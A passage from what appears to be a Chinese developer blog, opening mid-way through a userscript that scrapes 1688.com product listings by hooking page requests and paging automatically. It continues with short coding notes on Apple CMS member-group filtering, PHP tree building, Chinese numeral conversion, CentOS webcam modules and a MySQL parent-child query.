maxLines: 200, // 最大日志行数 batchUpdate: true, // 批量更新 autoScroll: true, // 自动滚动 }; // 日志缓冲队列 let logBuffer = []; let logUpdateTimer = null; let pendingScroll = false; // 标记是否需要滚动 // 优化后的日志添加函数 function addLog(html_code, lock = true) { logBuffer.push(html_code); // 标记需要滚动 if (lock && logConfig.autoScroll) { pendingScroll = true; } // 批量更新，避免频繁 DOM 操作 if (!logUpdateTimer) { logUpdateTimer = setTimeout(flushLogBuffer, 50); } } // 刷新日志缓冲 function flushLogBuffer() { if (logBuffer.length === 0) { logUpdateTimer = null; return; } // 使用 DocumentFragment 批量插入 const fragment = document.createDocumentFragment(); logBuffer.forEach((html) => { const p = document.createElement("p"); p.innerHTML = html; p.style.margin = "2px 0"; fragment.appendChild(p); }); logContainer.appendChild(fragment); // 限制日志行数，自动清理旧日志 while (logContainer.children.length > logConfig.maxLines) { logContainer.removeChild(logContainer.firstChild); } logBuffer = []; logUpdateTimer = null; // DOM 更新后执行滚动 if (pendingScroll) { pendingScroll = false; scrollToBottom(); } } // 滚动到底部函数 function scrollToBottom() { requestAnimationFrame(() => { setTimeout(() => { logContainer.scrollTop = logContainer.scrollHeight; }, 10); }); } // 清空日志功能 function clearLog() { logContainer.innerHTML = ""; logBuffer = []; pendingScroll = false; } // 添加清空按钮到日志头部 const clearBtn = document.createElement("button"); clearBtn.textContent = "清空日志"; clearBtn.style.marginLeft = "10px"; clearBtn.style.fontSize = "10px"; clearBtn.style.cursor = "pointer"; clearBtn.onclick = clearLog; logHeader.appendChild(clearBtn); // 拖动相关变量 let isDragging = false; let currentX; let currentY; let initialX; let initialY; let xOffset = 0; let yOffset = 0; logDiv.addEventListener("mousedown", dragStart); document.addEventListener("mousemove", drag); document.addEventListener("mouseup", dragEnd); function dragStart(e) { if (e.target.tagName === "BUTTON" || e.target.id === "start_run_button") { return; } initialX = e.clientX - xOffset; initialY = e.clientY - yOffset; if (e.target === logDiv) { isDragging = true; logDiv.style.cursor = "grabbing"; } } function drag(e) { if (isDragging) { e.preventDefault(); currentX = e.clientX - initialX; currentY = e.clientY - initialY; xOffset = currentX; yOffset = currentY; setTranslate(currentX, currentY, logDiv); } } function dragEnd(e) { initialX = currentX; initialY = currentY; isDragging = false; logDiv.style.cursor = "grab"; } function setTranslate(xPos, yPos, el) { el.style.transform = `translate3d(${xPos}px, ${yPos}px, 0)`; } //================创建面板结束==================== //================页面检测开始================== // 如果跳转登录，提示请登录 if (window.location.href.includes("login.taobao.com")) { addLog(" 请自行登录账号 "); return; } // 如果在商品详情页面 if (window.location.href.includes("detail.1688.com/offer")) { config.type = "detail"; addLog(" 已进入商品详情页面 "); const item_detail = window.context.result.global.globalData.model; addLog( ` 商品编号：${item_detail.offerDetail.offerId} `, ); addLog( ` 商品名称：${item_detail.offerDetail.subject} `, ); addLog( ` 商品价格：${item_detail.tradeModel.priceDisplay} `, ); addLog( ` 商品首图：${item_detail.offerDetail.mainImageList[0].fullPathImageURI} `, ); if (config.is_iframe) { addLog(` 检测到子页面，自动推送数据 `); window.parent.postMessage( { type: "item_detail", data: item_detail, }, "*", ); } return; } // 如果在店铺商品列表或者搜索商品列表页面 else if ( window.location.href.includes("1688.com/page/offerlist.htm") || window.location.href.includes("1688.com/selloffer/offer_search.htm") ) { // 如果是店铺商品列表页面 if (window.location.href.includes("1688.com/page/offerlist.htm")) { config.type = "shop_list"; addLog(" 已进入店铺商品列表页面 "); } // 如果是搜索商品列表页面 if (window.location.href.includes("1688.com/selloffer/offer_search.htm")) { config.type = "goods_list"; addLog(" 已进入搜索商品列表页面 "); } // 如果不在子页面，则监听消息 if (!config.is_iframe) { addLog(" 自动监听消息 "); window.addEventListener("message", function (e) { if (e.data.type === "item_detail") { const item_detail = e.data.data; addLog( ` 商品编号：${item_detail.offerDetail.offerId} `, ); addLog( ` 商品名称：${item_detail.offerDetail.subject} `, ); addLog( ` 商品价格：${item_detail.tradeModel.priceDisplay} `, ); addLog( ` 商品首图：${item_detail.offerDetail.mainImageList[0].fullPathImageURI} `, ); if (typeof currentItemResolver === "function") { currentItemResolver(item_detail); } // 可以在这里写把数据保存到数据库的逻辑 } }); } // 如果配置锁开启，则自动开始爬取 if (config.lock) { addLog( " 自动爬取：" + (config.lock ? "启动" : "关闭") + " ", ); window.onload = () => { run(); }; } else { // 否则添加开始按钮 const startBtn = document.createElement("button"); startBtn.textContent = "开始爬取"; startBtn.style.marginLeft = "10px"; startBtn.style.fontSize = "10px"; startBtn.style.cursor = "pointer"; startBtn.onclick = run; logHeader.appendChild(startBtn); } } // 如果不是商品列表页面，则提示请进入商品列表页面 else { addLog(" 请进入商品列表页面 "); return; } //================页面检测结束================== //================拦截请求开始================== // hook请求方法 const originalOpen = XMLHttpRequest.prototype.open; const originalSend = XMLHttpRequest.prototype.send; XMLHttpRequest.prototype.open = function () { originalOpen.apply(this, arguments); this.addEventListener("load", function () { switch (config.type) { case "shop_list": if ( this.responseURL .toLocaleLowerCase() .includes(config.type_match.shop_list.toLocaleLowerCase()) && config.run_status ) { try { const list = JSON.parse(this.responseText).data.content.offerList; if (list) { const pageNum = document.querySelector( 'div[style*="background: rgb(255, 64, 0)"]', )?.textContent || "未知"; addLog(" 开始爬取第 " + pageNum + " 页 "); processAllItemsSequentially(list).then(() => { setTimeout(() => { if ( document.querySelectorAll("button")[1] && !config.debug ) { document.querySelectorAll("button")[1].click(); } }, config.sleep * 1000); }); } } catch (e) { addLog(" 列表数据解析失败 "); } } break; default: break; } }); }; XMLHttpRequest.prototype.send = function () { originalSend.apply(this, arguments); }; //================拦截请求结束================== //================拦截jsonp请求开始================== // 保存原生 src 的 setter const srcDescriptor = Object.getOwnPropertyDescriptor( HTMLScriptElement.prototype, "src", ); const originalSrcSetter = srcDescriptor.set; // 重写 src setter，拦截所有 script.src 赋值 Object.defineProperty(HTMLScriptElement.prototype, "src", { // 重写 setter set(url) { // 如果不是 1688/淘宝的 mtop JSONP，直接走原生逻辑 if (typeof url !== "string" || !isMtopJsonpUrl(url)) { return originalSrcSetter.call(this, url); } // 从 URL 中取出 callback 参数 const callbackName = extractCallbackName(url); if (!callbackName) { return originalSrcSetter.call(this, url); } // 在真正设置 src 之前，先 hook 这个全局回调函数 hookMtopJsonpCallback(callbackName, url); // 再让浏览器正常去加载这个 script return originalSrcSetter.call(this, url); }, get() { return srcDescriptor.get.call(this); }, configurable: true, }); // 判断是否是 1688/淘宝 mtop JSONP 请求 function isMtopJsonpUrl(url) { if (!url) return false; const lower = url.toLowerCase(); return ( (lower.includes("h5api.m.1688.com/h5/mtop.") || lower.includes("h5api.m.taobao.com/h5/mtop.")) && /[?&]callback=mtopjsonp/i.test(url) ); } // 从 URL 中解析 callback 参数名 function extractCallbackName(url) { try { const search = url.split("?")[1]; if (!search) return null; const params = new URLSearchParams(search); const callback = params.get("callback"); return callback || null; } catch (e) { return null; } } /** * 动态替换全局 JSONP 回调函数 * @param {string} callbackName - 如 mtopjsonp5 * @param {string} url - 原始 JSONP URL（用于日志、匹配接口） */ function hookMtopJsonpCallback(callbackName, url) { const win = window; // 如果回调已经是函数，则直接劫持覆盖 if (typeof win[callbackName] === "function") { // 如果已经被 hook 过，就不重复，防止同页面请求爬取多次 if (win["__" + callbackName + "__hooked__"]) return; win["__" + callbackName + "__hooked__"] = true; const raw = win[callbackName]; win[callbackName] = function (data) { handleMtopJsonResponse(url, data); return raw.apply(this, arguments); }; return; } // 如果没有回调函数，则劫持函数赋值，等待赋值再进行劫持 Object.defineProperty(win, callbackName, { configurable: true, // 允许后续重新定义 enumerable: true, get: function () { // 返回 undefined 或者你缓存的函数，通常不影响逻辑 return win["__proxy_" + callbackName]; }, set: function (realCallback) { // 此时页面正在把真正的回调函数赋值给这个变量 // 我们把这个属性"篡改"成我们的函数，并保存真正的回调 Object.defineProperty(win, callbackName, { value: function (data) { // console.log("[JSONP HOOK] 拿到数据:", data); // 拦截数据处理 handleMtopJsonResponse(url, data); // 继续运行原函数 if (typeof realCallback === "function") { return realCallback.apply(this, arguments); } }, writable: true, // 允许被删除或修改 configurable: true, // 允许被删除 enumerable: true, }); }, }); } /** * 根据接口类型分发处理 * @param {string} url * @param {any} data */ function handleMtopJsonResponse(url, data) { const lowerUrl = url.toLowerCase(); if ( lowerUrl.includes("mtop.relationrecommend.wirelessrecommend.recommend") ) { handleGoodsListJsonp(data); } } /** * 处理搜索列表 goods_list 的 JSONP 数据 * @param {any} data */ function handleGoodsListJsonp(data) { if (!config.run_status) return; try { const list = data && data.data && data.data.data && data.data.data.OFFER && data.data.data.OFFER.items; if (!list) { addLog(" JSONP 列表数据格式异常 "); return; } const pageNum = document.querySelector(".fui-current")?.textContent || "未知"; addLog(" 开始爬取第 " + pageNum + " 页（JSONP） "); processAllItemsSequentially(list).then(() => { setTimeout(() => { if (document.querySelector(".fui-next") && !config.debug) { document.querySelector(".fui-next").click(); } }, config.sleep * 1000); }); } catch (e) { console.error(e); addLog(" JSONP 列表数据解析失败 "); } } //================拦截jsonp请求结束================== //=================处理商品详情开始================== // 用于在拦截器和处理函数之间通信 let currentItemResolver = null; function run() { if (config.run_status) { addLog(" 已开始自动爬取 "); return; } config.run_status = true; addLog(" 开始自动爬取 "); let firstPageBtn = null; if (config.type === "goods_list") { firstPageBtn = document.querySelector(".fui-current"); } if (config.type === "shop_list") { firstPageBtn = document.querySelector( 'div[style*="background: rgb(255, 64, 0)"]', ); } if (firstPageBtn) { firstPageBtn.click(); } else { addLog(" 未找到分页按钮，请确保在商品列表页 "); } } async function processItemDetail(item) { return new Promise((resolve) => { addLog(` 开始处理商品: ${item.subject} `); const iframe = document.createElement("iframe"); iframe.style.width = "800px"; iframe.style.height = "600px"; iframe.style.border = "1px solid #ccc"; iframe.style.position = "fixed"; iframe.style.top = "0"; iframe.style.right = "0"; iframe.style.zIndex = "9999"; iframe.src = `https://detail.1688.com/offer/${item.id}.html`; // 定义清理和关闭的逻辑 const cleanup = (data = null) => { if (iframe.parentNode) { document.body.removeChild(iframe); addLog( ` 商品: ${item.subject} 处理完成${data ? " (数据已保存)" : " (超时或失败)"} `, ); } resolve(); }; // 将 resolver 暴露给全局拦截器 currentItemResolver = cleanup; // 设置一个最大超时时间，防止某些商品加载不出数据导致脚本卡死 const timeoutId = setTimeout(() => { if (currentItemResolver === cleanup) { addLog( ` 商品: ${item.subject} 捕获超时，自动跳过 `, ); currentItemResolver = null; cleanup(); } }, config.iframe_timeout * 1000); iframe.onload = function () {}; iframe.onerror = function () { addLog( ` 商品: ${item.subject} iframe加载失败 `, ); clearTimeout(timeoutId); cleanup(); }; document.body.appendChild(iframe); }); } async function processAllItemsSequentially(list) { for (const item of list) { if (config.type == "goods_list") { item.subject = item.data.title; item.id = item.data.offerId; } if (item && item.id) { // 可以对接数据库校验是否已存在 await processItemDetail(item); if (config.debug) { break; } // 休眠 addLog(` 等待${config.sleep}秒 `); await new Promise((r) => setTimeout(r, config.sleep * 1000)); } } addLog(" 本页处理完成 "); } //=================处理商品详情结束================== })(); 需补充的两处地方，请搜索 数据库位置1 自动入库 // 如果不在子页面，则监听消息 if (!config.is_iframe) { addLog(" 自动监听消息 "); window.addEventListener("message", function (e) { if (e.data.type === "item_detail") { const item_detail = e.data.data; addLog( ` 商品编号：${item_detail.offerDetail.offerId} `, ); addLog( ` 商品名称：${item_detail.offerDetail.subject} `, ); addLog( ` 商品价格：${item_detail.tradeModel.priceDisplay} `, ); addLog( ` 商品首图：${item_detail.offerDetail.mainImageList[0].fullPathImageURI} `, ); if (typeof currentItemResolver === "function") { currentItemResolver(item_detail); } // 可以在这里写把数据保存到数据库的逻辑 } }); }位置2 校验数据库是否存在 async function processAllItemsSequentially(list) { for (const item of list) { if (config.type == "goods_list") { item.subject = item.data.title; item.id = item.data.offerId; } if (item && item.id) { // 可以对接数据库校验是否已存在 await processItemDetail(item); if (config.debug) { break; } // 休眠 addLog(` 等待${config.sleep}秒 `); await new Promise((r) => setTimeout(r, config.sleep * 1000)); } } addLog(" 本页处理完成 "); }
苹果cms10 列表和搜索过滤会员组没有权限的数据
AI摘要 苹果cms10在列表和搜索中可能显示会员组无权限数据。新版本可通过后台“网站基础参数-性能优化-数据权限过滤”开启此功能。老版本需手动修改`application/common/model/Vod.php`文件。在`listData`方法中，增加代码以根据当前用户组的`group_type`过滤`type_id`，确保用户只能看到其会员组有权限的内容，避免点击后才提示登录。 此内容根据文章生成，仅用于文章内容的解释与总结 苹果cms10 列表和搜索过滤会员组没有权限的数据苹果cms10的列表中，会出现会员组没有权限的数据，只有点进去才会提示登录。1.新版本后台-》网站基础参数-》性能优化-》数据权限过滤开启即可2.老版本编辑文件application/common/model/Vod.php找到listData方法，增加过滤方法public function listData($where,$order,$page=1,$limit=20,$start=0,$field='*',$addition=1,$totalshow=1) { $page = $page > 0 ? (int)$page : 1; $limit = $limit ? (int)$limit : 20; $start = $start ? (int)$start : 0; if(!is_array($where)){ $where = json_decode($where,true); } $where2=''; if(!empty($where['_string'])){ $where2 = $where['_string']; unset($where['_string']); } // =====修改开始===== // 增加会员组过滤方法 $where3 = []; // 如果是用户请求 if(isset($GLOBALS['user'])){ $category_ids = array_filter(explode(',',$GLOBALS['user']['group']['group_type'])); $where3['type_id'] = ['in',$category_ids]; } $limit_str = ($limit * ($page-1) + $start) .",".$limit; if($totalshow==1) { // 增加where3查询 $total = $this->where($where)->where($where2)->where($where3)->count(); } // 增加where3查询 $list = Db::name('Vod')->field($field)->where($where)->where($where2)->where($where3)->order($order)->limit($limit_str)->select(); // =====修改结束===== //分类 $type_list = model('Type')->getCache('type_list'); //用户组 $group_list = model('Group')->getCache('group_list'); foreach($list as $k=>$v){ if($addition==1){ if(!empty($v['type_id'])) { $list[$k]['type'] = $type_list[$v['type_id']]; $list[$k]['type_1'] = $type_list[$list[$k]['type']['type_pid']]; } if(!empty($v['group_id'])) { $list[$k]['group'] = $group_list[$v['group_id']]; } } } return ['code'=>1,'msg'=>lang('data_list'),'page'=>$page,'pagecount'=>ceil($total/$limit),'limit'=>$limit,'total'=>$total,'list'=>$list]; }
PHP多级分类数据列表转为树型父子结构
AI摘要 该PHP函数`formatToTree`用于将MySQL查询出的多级分类列表数据转换为树型父子结构。它通过递归实现，接收数据数组、最上级父节点ID和父ID字段名作为参数，将具有相同父ID的项归类到`children`属性中，从而构建出层级清晰的树状结构。 此内容根据文章生成，仅用于文章内容的解释与总结 PHP多级分类数据列表转为树型父子结构function formatToTree($array, $pid = 0, $pidName = 'parent_id') { return array_values(array_map(function ($item) use ($array, $pid) { $item['children'] = formatToTree($array, $item['id']); return $item; },array_filter($array,function ($item) use ($pidName,$pid) { return $item[$pidName] === $pid; }))); }$array为mysql查询出来的列表数据$pid为最上级父节点id$pidName为父id字段
AI摘要 该JavaScript代码实现了一个`numToChinese`函数，用于将阿拉伯数字转换为中文数字。它支持亿位以下的数字转换，通过预定义的中文数字和单位数组进行映射。函数逻辑处理了零的显示、单位的连接以及“一十”简化为“十”等特殊情况。例如，输入12会输出“十二”。 此内容根据文章生成，仅用于文章内容的解释与总结 代码（仅适用亿位以下）：function numToChinese(num) { const CN_NUM = ['零', '一', '二', '三', '四', '五', '六', '七', '八', '九']; const CN_UNIT = ['', '十', '百', '千', '万', '十', '百', '千', '亿']; let numStr = String(num); let len = numStr.length; let result = ''; if (len === 0) { return '零'; } for (let i = 0; i < len; i++) { let n = numStr.charAt(i); let unitIndex = len - i - 1; let numIndex = parseInt(n); let preUnit = CN_UNIT[unitIndex]; let preNum = CN_NUM[numIndex]; let replaceNum = preNum ? preNum : ''; if (unitIndex > 0 && numIndex === 0) { replaceNum = ''; } else if (numIndex > 0) { replaceNum = preNum; } result += replaceNum + preUnit; } result = result.replace(/零(千|百|十|)/g, '零$1'); let matchs = (result.match(/([亿|万|千|百|十]{2,})/g))||[] for (const iterator of matchs) { result = result.replace(iterator,iterator.slice(0,1) + "零") } result = result.replace("一十","十") return result.endsWith("零") ? result.slice(0,-1) : result; } console.log(numToChinese(12));结果：十二
AI摘要 在Centos7笔记本上启动摄像头，首先使用`dmesg | grep -i webcam`命令确认摄像头已被系统识别。若需启动或重新加载摄像头模块，可在终端依次运行`modprobe -r uvcvideo`和`modprobe uvcvideo`。 此内容根据文章生成，仅用于文章内容的解释与总结 Centos7系统的笔记本，启动摄像头1. 确认摄像头已正确安装。在终端中运行以下命令，检查摄像头是否被正确识别：dmesg | grep -i webcam如果摄像头被正确识别，你应该能在输出中看到相关的信息。2. 检查摄像头是否已经启动。在终端中运行以下命令，启动摄像头：modprobe -r uvcvideo modprobe uvcvideo
AI摘要 本文介绍了在MySQL 5.7中实现父子查询的方法。首先创建了`goods_metas`数据表，包含`id`、`name`、`type`和`parent`等字段以存储层级关系。接着，提供了一个SQL查询语句，该语句利用`FIND_IN_SET`函数和用户自定义变量，能够根据指定的父ID高效地查询出其所有子节点（即所有后代，不包含父节点自身）。文章还展示了查询结果示例。 此内容根据文章生成，仅用于文章内容的解释与总结 mysql5.7 sql语句实现父子查询1.数据表创建SET NAMES utf8mb4; SET FOREIGN_KEY_CHECKS = 0; DROP TABLE IF EXISTS `goods_metas`; CREATE TABLE `goods_metas` ( `id` int(11) NOT NULL AUTO_INCREMENT COMMENT '编号', `name` varchar(200) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NOT NULL COMMENT '名', `type` varchar(32) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NOT NULL COMMENT '类型', `count` int(11) NULL DEFAULT 0 COMMENT '统计', `parent` int(11) NULL DEFAULT 0 COMMENT '父编号（只有class需要）', PRIMARY KEY (`id`) USING BTREE, UNIQUE INDEX `name`(`name`, `type`) USING BTREE ) ENGINE = InnoDB AUTO_INCREMENT = 7 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_general_ci ROW_FORMAT = Dynamic; INSERT INTO `goods_metas` VALUES (1, '美甲', 'class', 0, 0); INSERT INTO `goods_metas` VALUES (2, '长甲', 'class', 0, 1); INSERT INTO `goods_metas` VALUES (3, '短甲', 'class', 0, 1); INSERT INTO `goods_metas` VALUES (4, '可爱', 'tag', 0, 0); INSERT INTO `goods_metas` VALUES (5, '简约', 'tag', 0, 0); INSERT INTO `goods_metas` VALUES (6, '测试', 'class', 0, 2); SET FOREIGN_KEY_CHECKS = 1;2.根据父id查所有子节点将{id}修改为查询的父id不包含父节点自身select * from goods_metas where id in (SELECT id FROM (SELECT * FROM goods_metas where type="class") goods_metas, (SELECT @pid := '{id}') pd WHERE FIND_IN_SET(parent, @pid) > 0 AND @pid := concat(@pid, ',', id));id=0查询结果+----+----------+-------+-------+--------+ | id | name | type | count | parent | +----+----------+-------+-------+--------+ | 2 | 长甲 | class | 0 | 1 | | 3 | 短甲 | class | 0 | 1 | | 6 | 测试 | class | 0 | 2 | +----+----------+-------+-------+--------+